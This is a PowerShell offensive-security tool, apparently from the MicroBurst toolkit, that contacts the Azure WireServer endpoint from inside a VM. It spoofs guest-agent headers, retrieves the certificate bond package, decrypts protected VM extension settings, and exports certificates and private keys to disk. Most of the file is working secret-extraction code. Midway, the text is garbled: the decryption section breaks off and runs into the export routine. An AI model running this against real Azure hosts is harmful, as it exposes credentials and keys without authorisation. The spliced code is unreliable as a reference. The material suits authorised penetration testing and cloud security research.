<# File: Get-AzureVMExtensionSettingsWireServer.ps1 Author: Karl Fosaaen (@kfosaaen), NetSPI - 2025 Description: PowerShell function for dumping and decrypting Azure VM Extension Settings via the WireServer endpoint Original Research: - "ChaosDB explained: Azure's Cosmos DB vulnerability walkthrough" by Nir Ohfeld and Sagi Tzadik - https://www.wiz.io/blog/chaosdb-explained-azures-cosmos-db-vulnerability-walkthrough - "CVE-2021-27075: Microsoft Azure Vulnerability Allows Privilege Escalation and Leak of Private Data" by Paul Litvak - https://intezer.com/blog/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/ #> Function Get-AzureVMExtensionSettingsWireServer { <# .SYNOPSIS PowerShell function for dumping and decrypting Azure VM Extension Settings via WireServer endpoint (168.63.129.16) .DESCRIPTION This function implements the WireServer certificate extraction technique noted during the ChaosDB vulnerability research. 1. Contacts WireServer (168.63.129.16) to retrieve VM extension configurations 2. Performs secure certificate exchange with WireServer to obtain certificate bond package 3. Parses the certificate bond package to extract X.509 certificates and private keys 4. Uses extracted certificates to decrypt protected settings in VM extensions .PARAMETER OutputPath Optional path to save retrieved certificates and extension data. Defaults to current directory (no file export). .PARAMETER Verbose Enable verbose output to show detailed information during execution. .EXAMPLE PS C:\> Get-AzureVMExtensionSettingsWireServer ExtensionName : Microsoft.Compute.CustomScriptExtension ProtectedSettingsCertThumbprint : 23B8893CD7A1B2C3D4E5F6789ABC123DEF456789 ProtectedSettings : MIIB8AYJKoZIhvcNAQcDoIIB4TCCAd0CAQAxgg... ProtectedSettingsDecrypted : {"fileUris":["https://storage.blob.core.windows.net/scripts/deploy.ps1"],"commandToExecute":"powershell -ExecutionPolicy Bypass -File deploy.ps1"} PublicSettings : {"timestamp":123456789} .EXAMPLE PS C:\> Get-AzureVMExtensionSettingsWireServer -OutputPath "C:\temp\output" -Verbose Retrieves extension settings, extracts certificates from WireServer bond package, and exports all certificates to individual files in multiple formats. .NOTES This function requires local administrator rights for network access to 168.63.129.16 (WireServer) .LINK https://intezer.com/blog/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/ https://www.wiz.io/blog/chaosdb-explained-azures-cosmos-db-vulnerability-walkthrough https://www.akamai.com/blog/security/recovering-plaintext-passwords-azure #> [CmdletBinding()] param( [Parameter(Mandatory=$false)] [string]$OutputPath = "" ) # Load required assemblies [System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null # Create output directory if needed if (-not [string]::IsNullOrEmpty($OutputPath)) { try { if (-not (Test-Path $OutputPath)) { New-Item -ItemType Directory -Path $OutputPath -Force -ErrorAction Stop | Out-Null Write-Verbose "[+] Created output directory: $OutputPath" } } catch { Write-Error "Failed to create output directory '$OutputPath': $($_.Exception.Message)" return } } else{ $OutputPath = $PWD.Path } # WireServer endpoint $wireServerEndpoint = "168.63.129.16" $goalstateUrl = "http://$wireServerEndpoint/machine/?comp=goalstate" try { # Test connectivity to WireServer Write-Verbose "Testing connectivity to WireServer..." $testConnection = Test-NetConnection -ComputerName $wireServerEndpoint -Port 80 -InformationLevel Quiet if (-not $testConnection) { Write-Warning "Unable to reach WireServer endpoint $wireServerEndpoint" Write-Warning "This may indicate:" Write-Warning "`t1. Not running on an Azure VM" Write-Warning "`t2. Network restrictions are in place" Write-Warning "`t3. WireServer access has been patched/restricted" return } Write-Verbose "`tConnected to WireServer" # Retrieve goalstate configuration Write-Verbose "`t`tRetrieving goalstate configuration..." $goalstateConfigResponse = Invoke-WebRequest -Uri $goalstateUrl -UseBasicParsing -ErrorAction Stop -Headers @{"x-ms-agent-name"="WALinuxAgent"; "x-ms-version"="2015-04-05"} -Verbose:$false $extensionConfigUrl = ([xml]$goalstateConfigResponse.content).GoalState.Container.RoleInstanceList.RoleInstance.Configuration.ExtensionsConfig # Retrieve extension configuration Write-Verbose "`t`tRetrieving extension configurations..." $extensionConfigResponse = Invoke-WebRequest -Uri $extensionConfigUrl -UseBasicParsing -ErrorAction Stop -Headers @{"x-ms-agent-name"="WALinuxAgent"; "x-ms-version"="2015-04-05"} -Verbose:$false if ($extensionConfigResponse.StatusCode -eq 200) { [xml]$extensionConfig = $extensionConfigResponse.Content # Count extensions if ($extensionConfig.Extensions.PluginSettings.Plugin) { if ($extensionConfig.Extensions.PluginSettings.Plugin -is [System.Array]) { $extensionCount = $extensionConfig.Extensions.PluginSettings.Plugin.Count } else { $extensionCount = 1 } } else { $extensionCount = 0 } # Display discovered extensions if ($extensionCount -gt 0) { Write-Verbose "`t`tDiscovered VM Extensions:" $pluginsToDisplay = if ($extensionConfig.Extensions.PluginSettings.Plugin -is [System.Array]) { $extensionConfig.Extensions.PluginSettings.Plugin } else { @($extensionConfig.Extensions.PluginSettings.Plugin) } foreach ($plugin in $pluginsToDisplay) { Write-Verbose "`t`t`tExtension: $($plugin.name)" if ($plugin.RuntimeSettings.'#text') { try { $runtimeSettings = $plugin.RuntimeSettings.'#text' | ConvertFrom-Json $settingsArray = if ($runtimeSettings.runtimeSettings) { $runtimeSettings.runtimeSettings } else { @($runtimeSettings) } foreach ($setting in $settingsArray) { $thumbprint = $setting.handlerSettings.protectedSettingsCertThumbprint $hasProtectedSettings = $setting.handlerSettings.protectedSettings if ($thumbprint) { Write-Verbose "`t`t`tThumbprint: $thumbprint" Write-Verbose "`t`t`tProtected Settings: $(if ($hasProtectedSettings) { 'YES' } else { 'NO' })" } else { Write-Verbose "`t`t`tThumbprint: (none)" Write-Verbose "`t`t`tProtected Settings: NO" } } } catch { Write-Verbose "`tError parsing settings: $($_.Exception.Message)" } } } } else { Write-Verbose "No VM extensions found" } } else { Write-Verbose "Failed to retrieve extension configuration. Status: $($extensionConfigResponse.StatusCode)" return } # Retrieve certificate bond package Write-Verbose "`tRetrieving certificate bond package..." $certificatesUrl = ([xml]$goalstateConfigResponse.content).GoalState.Container.RoleInstanceList.RoleInstance.Configuration.Certificates # Generate temporary certificate Write-Verbose "`t`tGenerating temporary certificate..." try { $tempCert = New-SelfSignedCertificate ` -CertStoreLocation "Cert:\CurrentUser\My" ` -Subject "CN=MicroBurst-Temp" ` -KeyExportPolicy Exportable ` -KeySpec KeyExchange ` -KeyUsage KeyEncipherment,DataEncipherment ` -KeyLength 2048 ` -HashAlgorithm sha256 ` -NotAfter (Get-Date).AddDays(1) Write-Verbose "`t`t`tCreated certificate: $($tempCert.Thumbprint)" } catch { Write-Warning "Failed to create certificate in CurrentUser\My: $($_.Exception.Message)" try { $tempCert = New-SelfSignedCertificate ` -CertStoreLocation "Cert:\LocalMachine\My" ` -Subject "CN=MicroBurst-Temp" ` -KeyExportPolicy Exportable ` -KeySpec KeyExchange ` -KeyUsage KeyEncipherment,DataEncipherment ` -KeyLength 2048 ` -HashAlgorithm sha256 ` -NotAfter (Get-Date).AddDays(1) Write-Verbose "`t`t`tCreated certificate in LocalMachine: $($tempCert.Thumbprint)" } catch { Write-Error "Failed to create certificate: $($_.Exception.Message)" return } } # Export certificate for exchange $tempCertPath = "$env:TEMP\microburst_cert.cer" Export-Certificate -Cert $tempCert -FilePath $tempCertPath | Out-Null $publicCertBase64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes($tempCertPath)) Remove-Item $tempCertPath -Force -ErrorAction SilentlyContinue # Build headers for certificate request $certificateHeaders = @{ "x-ms-agent-name" = "WALinuxAgent" "x-ms-version" = "2012-11-30" "x-ms-cipher-name" = "DES_EDE3_CBC" "x-ms-guest-agent-public-x509-cert" = $publicCertBase64 } # Request certificate bond package Write-Verbose "`t`tRequesting certificate bond package..." $certificatesResponse = Invoke-WebRequest -Uri (-join($certificatesUrl,"&type=fullConfig")) -UseBasicParsing -ErrorAction Stop -Headers $certificateHeaders -Verbose:$false if ($certificatesResponse.StatusCode -eq 200) { Write-Verbose "`t`t`tRetrieved certificate bond package" $availableCerts = @{} # Decrypt bond package try { Write-Verbose "`tDecrypting bond package..." $encryptedData = $certificatesResponse.Content $decryptedContent = $null if ($encryptedData.StartsWith("|]', '_' -replace 'CN=', '' -replace ',.*', '' if ([string]::IsNullOrWhiteSpace($safeSubject)) { $safeSubject = "Unknown" } $baseFileName = "cert_$($safeSubject)_$($Certificate.Thumbprint.Substring(0,8))" # Export as .CRT (DER format) $certFileName = "$OutputPath\$baseFileName.crt" [System.IO.File]::WriteAllBytes($certFileName, $Certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert)) Write-Verbose "`t`tExported: $certFileName" # Export as .PEM format $pemFileName = "$OutputPath\$baseFileName.pem" $certBase64 = [Convert]::ToBase64String($Certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert)) $pemContent = "-----BEGIN CERTIFICATE-----`n" for ($i = 0; $i -lt $certBase64.Length; $i += 64) { $pemContent += $certBase64.Substring($i, [Math]::Min(64, $certBase64.Length - $i)) + "`n" } $pemContent += "-----END CERTIFICATE-----`n" $pemContent | Out-File -FilePath $pemFileName -Encoding ASCII Write-Verbose "`t`tExported: $pemFileName" # Export certificate info $infoFileName = "$OutputPath\$baseFileName.txt" $certInfo = @" Certificate Information Subject: $($Certificate.Subject) Issuer: $($Certificate.Issuer) Thumbprint: $($Certificate.Thumbprint) Not Before: $($Certificate.NotBefore) Not After: $($Certificate.NotAfter) Has Private Key: $($Certificate.HasPrivateKey) Extraction Date: $(Get-Date) "@ $certInfo | Out-File -FilePath $infoFileName -Encoding UTF8 Write-Verbose "`t`tExported: $infoFileName" # Export private key if available if ($Certificate.HasPrivateKey) { try { if ($Certificate.PrivateKey) { try { $privateKeyFileName = "$OutputPath\$baseFileName.key" $privateKeyData = $Certificate.PrivateKey.ToXmlString($true) $privateKeyData | Out-File -FilePath $privateKeyFileName -Encoding UTF8 Write-Verbose "`t`tExported: $privateKeyFileName" } catch { try { $pfxFileName = "$OutputPath\$baseFileName.pfx" $pfxBytes = $Certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx, "") [System.IO.File]::WriteAllBytes($pfxFileName, $pfxBytes) Write-Verbose "`tExported: $pfxFileName" } catch { Write-Verbose "`t`tCould not export private key as key/pfx: $($baseFileName)" } } } } catch { Write-Verbose "Failed to export private key: $($_.Exception.Message)" } } } catch { Write-Warning "Failed to export certificate: $($_.Exception.Message)" } }